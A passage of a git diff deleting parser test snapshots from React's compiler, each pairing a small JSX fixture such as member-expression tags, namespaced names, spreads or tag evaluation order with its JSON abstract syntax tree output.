-                      90,
-                      115
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    89,
-                    116
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXMemberExpression",
-                  "object": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": null,
-                    "range": [
-                      118,
-                      121
-                    ]
-                  },
-                  "property": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": null,
-                    "range": [
-                      122,
-                      125
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    118,
-                    125
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  116,
-                  126
-                ]
-              },
-              "loc": null,
-              "range": [
-                80,
-                126
-              ]
-            },
-            "loc": null,
-            "range": [
-              73,
-              127
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          129
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        129
-      ],
-      "loc": null,
-      "range": [
-        0,
-        129
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    129
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-member-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-member-expression.js.snap
deleted file mode 100644
index e4419c5eb1b8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-member-expression.js.snap
+++ /dev/null
@@ -1,279 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/jsx-member-expression.js
----
-Input:
-function Component(props) {
-  return (
-    <Sathya.Codes.Forget>
-      <Foo.Bar.Baz />
-    </Sathya.Codes.Forget>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXMemberExpression",
-                  "object": {
-                    "type": "JSXMemberExpression",
-                    "object": {
-                      "type": "JSXIdentifier",
-                      "name": "Sathya",
-                      "loc": null,
-                      "range": [
-                        44,
-                        50
-                      ]
-                    },
-                    "property": {
-                      "type": "JSXIdentifier",
-                      "name": "Codes",
-                      "loc": null,
-                      "range": [
-                        51,
-                        56
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      44,
-                      56
-                    ]
-                  },
-                  "property": {
-                    "type": "JSXIdentifier",
-                    "name": "Forget",
-                    "loc": null,
-                    "range": [
-                      57,
-                      63
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    44,
-                    63
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  43,
-                  64
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    64,
-                    71
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXMemberExpression",
-                      "object": {
-                        "type": "JSXMemberExpression",
-                        "object": {
-                          "type": "JSXIdentifier",
-                          "name": "Foo",
-                          "loc": null,
-                          "range": [
-                            72,
-                            75
-                          ]
-                        },
-                        "property": {
-                          "type": "JSXIdentifier",
-                          "name": "Bar",
-                          "loc": null,
-                          "range": [
-                            76,
-                            79
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          72,
-                          79
-                        ]
-                      },
-                      "property": {
-                        "type": "JSXIdentifier",
-                        "name": "Baz",
-                        "loc": null,
-                        "range": [
-                          80,
-                          83
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        72,
-                        83
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      71,
-                      86
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    86
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    86,
-                    91
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXMemberExpression",
-                  "object": {
-                    "type": "JSXMemberExpression",
-                    "object": {
-                      "type": "JSXIdentifier",
-                      "name": "Sathya",
-                      "loc": null,
-                      "range": [
-                        93,
-                        99
-                      ]
-                    },
-                    "property": {
-                      "type": "JSXIdentifier",
-                      "name": "Codes",
-                      "loc": null,
-                      "range": [
-                        100,
-                        105
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      93,
-                      105
-                    ]
-                  },
-                  "property": {
-                    "type": "JSXIdentifier",
-                    "name": "Forget",
-                    "loc": null,
-                    "range": [
-                      106,
-                      112
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    93,
-                    112
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  91,
-                  113
-                ]
-              },
-              "loc": null,
-              "range": [
-                43,
-                113
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              118
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          120
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        120
-      ],
-      "loc": null,
-      "range": [
-        0,
-        120
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    120
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-namespaced-name.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-namespaced-name.js.snap
deleted file mode 100644
index 527e8c67466d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-namespaced-name.js.snap
+++ /dev/null
@@ -1,196 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/jsx-namespaced-name.js
----
-Input:
-function Component(props) {
-  return <xml:http protocol:version={props.version} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXNamespacedName",
-                  "namespace": {
-                    "type": "JSXIdentifier",
-                    "name": "xml",
-                    "loc": null,
-                    "range": [
-                      38,
-                      41
-                    ]
-                  },
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "http",
-                    "loc": null,
-                    "range": [
-                      42,
-                      46
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    38,
-                    46
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXNamespacedName",
-                      "namespace": {
-                        "type": "JSXIdentifier",
-                        "name": "protocol",
-                        "loc": null,
-                        "range": [
-                          47,
-                          55
-                        ]
-                      },
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "version",
-                        "loc": null,
-                        "range": [
-                          56,
-                          63
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        47,
-                        63
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            65,
-                            70
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "version",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            71,
-                            78
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          65,
-                          78
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        64,
-                        79
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      47,
-                      79
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  37,
-                  82
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                37,
-                82
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              83
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          85
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        85
-      ],
-      "loc": null,
-      "range": [
-        0,
-        85
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    85
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-spread.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-spread.js.snap
deleted file mode 100644
index cce900869527..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-spread.js.snap
+++ /dev/null
@@ -1,263 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/jsx-spread.js
----
-Input:
-function Component(props) {
-  return (
-    <Component {...props} {...{ bar: props.cond ? props.foo : props.bar }} />
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    44,
-                    53
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXSpreadAttribute",
-                    "argument": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        58,
-                        63
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      54,
-                      64
-                    ]
-                  },
-                  {
-                    "type": "JSXSpreadAttribute",
-                    "argument": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "bar",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              71,
-                              74
-                            ]
-                          },
-                          "value": {
-                            "type": "ConditionalExpression",
-                            "test": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  76,
-                                  81
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "cond",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  82,
-                                  86
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                76,
-                                86
-                              ]
-                            },
-                            "alternate": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  101,
-                                  106
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "bar",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  107,
-                                  110
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                101,
-                                110
-                              ]
-                            },
-                            "consequent": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  89,
-                                  94
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "foo",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  95,
-                                  98
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                89,
-                                98
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              76,
-                              110
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            71,
-                            110
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        69,
-                        112
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      65,
-                      113
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  43,
-                  116
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                43,
-                116
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              121
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          123
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        123
-      ],
-      "loc": null,
-      "range": [
-        0,
-        123
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    123
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-tag-evaluation-order-non-global.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-tag-evaluation-order-non-global.js.snap
deleted file mode 100644
index 6d1c301de6b5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-tag-evaluation-order-non-global.js.snap
+++ /dev/null
@@ -1,395 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/jsx-tag-evaluation-order-non-global.js
----
-Input:
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  let Tag = props.component;
-  // NOTE: the order of evaluation in the lowering is incorrect:
-  // the jsx element's tag observes `Tag` after reassignment, but should observe
-  // it before the reassignment.
-  return (
-    <Tag>
-      {((Tag = props.alternateComponent), maybeMutate(maybeMutable))}
-      <Tag />
-    </Tag>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "maybeMutable",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "MaybeMutable",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      67
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    69
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  69
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              70
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "Tag",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    80
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      83,
-                      88
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "component",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      89,
-                      98
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    83,
-                    98
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  98
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              73,
-              99
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Tag",
-                  "loc": null,
-                  "range": [
-                    295,
-                    298
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  294,
-                  299
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    299,
-                    306
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "SequenceExpression",
-                    "expressions": [
-                      {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "Tag",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            309,
-                            312
-                          ]
-                        },
-                        "right": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              315,
-                              320
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "alternateComponent",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              321,
-                              339
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            315,
-                            339
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          309,
-                          339
-                        ]
-                      },
-                      {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "maybeMutate",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            342,
-                            353
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "maybeMutable",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              354,
-                              366
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          342,
-                          367
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      308,
-                      367
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    306,
-                    369
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    369,
-                    376
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Tag",
-                      "loc": null,
-                      "range": [
-                        377,
-                        380
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      376,
-                      383
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    376,
-                    383
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    383,
-                    388
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Tag",
-                  "loc": null,
-                  "range": [
-                    390,
-                    393
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  388,
-                  394
-                ]
-              },
-              "loc": null,
-              "range": [
-                294,
-                394
-              ]
-            },
-            "loc": null,
-            "range": [
-              281,
-              399
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          401
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        401
-      ],
-      "loc": null,
-      "range": [
-        0,
-        401
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    401
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-tag-evaluation-order.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-tag-evaluation-order.js.snap
deleted file mode 100644
index 8a1f9cd1f074..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-tag-evaluation-order.js.snap
+++ /dev/null
@@ -1,304 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/jsx-tag-evaluation-order.js
----
-Input:
-function Component(props) {
-  let Tag = View;
-  return (
-    <Tag>
-      {((Tag = HScroll), props.value)}
-      <Tag />
-    </Tag>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "Tag",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "View",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              45
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Tag",
-                  "loc": null,
-                  "range": [
-                    62,
-                    65
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  61,
-                  66
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    66,
-                    73
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "SequenceExpression",
-                    "expressions": [
-                      {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "Tag",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            76,
-                            79
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "HScroll",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            82,
-                            89
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          76,
-                          89
-                        ]
-                      },
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            92,
-                            97
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "value",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            98,
-                            103
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          92,
-                          103
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      75,
-                      103
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    73,
-                    105
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    105,
-                    112
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Tag",
-                      "loc": null,
-                      "range": [
-                        113,
-                        116
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      112,
-                      119
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    112,
-                    119
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    119,
-                    124
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Tag",
-                  "loc": null,
-                  "range": [
-                    126,
-                    129
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  124,
-                  130
-                ]
-              },
-              "loc": null,
-              "range": [
-                61,
-                130
-              ]
-            },
-            "loc": null,
-            "range": [
-              48,
-              135
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          137
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        137
-      ],
-      "loc": null,
-      "range": [
-        0,
-        137
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    137
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-capture-returned-alias.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-capture-returned-alias.js.snap
deleted file mode 100644
index ec9650ab90cf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-capture-returned-alias.js.snap
+++ /dev/null
@@ -1,510 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/lambda-capture-returned-alias.js
----
-Input:
-// Here, element should not be memoized independently of aliasedElement, since
-// it is captured by fn.
-// AnalyzeFunctions currently does not find captured objects.
-//  - mutated context refs are declared as `Capture` effect in `FunctionExpression.deps`
-//  - all other context refs are left as Unknown. InferReferenceEffects currently demotes
-//    them to reads
-function CaptureNotMutate(props) {
-  const idx = foo(props.x);
-  const element = bar(props.el);
-
-  const fn = function () {
-    const arr = { element };
-    return arr[idx];
-  };
-  const aliasedElement = fn();
-  mutate(aliasedElement);
-  return aliasedElement;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "CaptureNotMutate",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          374,
-          390
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            391,
-            396
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "idx",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    408,
-                    411
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      414,
-                      417
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          418,
-                          423
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          424,
-                          425
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        418,
-                        425
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    414,
-                    426
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  408,
-                  426
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              402,
-              427
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "element",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
